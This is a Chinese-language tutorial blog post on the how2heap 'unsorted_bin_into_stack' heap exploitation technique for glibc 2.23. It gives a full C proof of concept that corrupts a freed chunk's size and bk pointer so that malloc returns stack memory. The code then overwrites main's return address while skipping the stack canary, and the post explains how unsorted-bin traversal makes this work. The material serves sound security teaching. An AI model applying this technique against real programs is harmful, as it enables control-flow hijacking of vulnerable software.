how2heap-2.23-06-unsorted_bin_into_stack

#include 
#include 
#include 
#include 

// 从 unsorted bin 的 bk 去找合适的
void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main() {
  intptr_t stack_buffer[4] = {0};

  fprintf(stderr, "先申请 victim chunk\n");
  intptr_t* victim = malloc(0x100);

  fprintf(stderr, "再申请一块防止与 top chunk 合并\n");
  intptr_t* p1 = malloc(0x100);

  fprintf(stderr, "把 %p 这块给释放掉, 会被放进 unsorted bin 中\n", victim);
  free(victim);

  fprintf(stderr, "在栈上伪造一个 chunk");
  fprintf(stderr, "设置 size 与指向可写地址的 bk 指针");
  stack_buffer[1] = 0x100 + 0x10;
  stack_buffer[3] = (intptr_t)stack_buffer;

  //------------VULNERABILITY-----------
  fprintf(stderr, "假设有一个漏洞可以覆盖 victim 的 size 和 bk 指针\n");
  fprintf(stderr, "大小应与下一个请求大小不同,以返回 fake chunk 而不是这个,并且需要通过检查(2*SIZE_SZ 到 av->system_mem)\n");
  victim[-1] = 32;
  victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack

  fprintf(stderr, "现在 malloc 的时候将会返回构造的那个 fake chunk 那里: %p\n", &stack_buffer[2]);
  char *p2 = malloc(0x100);
  fprintf(stderr, "malloc(0x100): %p\n", p2);

  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
  memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}

unsorted_bin_into_stackunsorted_bin_attack 利用场景不一样,unsorted_bin_into_stack 反而好理解一些

  • unsorted_bin_attack 修改特定位置的内存为一个很大的值
  • unsorted_bin_into_stack 将栈上的空间作为chunk进行分配

在unsorted_bin_into_stack触发前,内存的布局

how2heap-2.23-06-unsorted_bin_into_stack_第1张图片
通过how2heap-2.23-05-unsorted_bin_attack知道:

  • 在申请chunk时,会首先从bins中进行搜索,当fastbin,small bin中没有合适大小的chunk时,会进入unsorted bin中进行搜索
  • 通过unsorted bin头结点的bk找到最旧释放的chunk,判断该chunk大小是否合适,合适则直接返回,不合适就放到small bin和large bin中
  • unsorted bin链中的chunk,通过chunk bk依次脱链查找,直至unsorted bin清空

触发unsorted_bin_into_stack

在上面的图中,victim chunk是最旧的chunk,所以会先找到这个chunk查看大小是否合适,由于size被修改为0x20,被脱链,放入到small bin中
由于victim bk指向stack_buffer,stack_buffer也会被认为是unsorted bin链中的chunk
stack_buffer chunk的size被修改为0x110,符合malloc(0x100)的大小,脱链,作为可用的chunk分配出来
现在就可以写这个stack_buffer chunk了


最后的两行,就是使用这个这个stack_buffer chunk,往栈中的main的返回地址处写入jackpot函数的地址

你可能感兴趣的:(二进制安全-01-pwn,linux,pwn)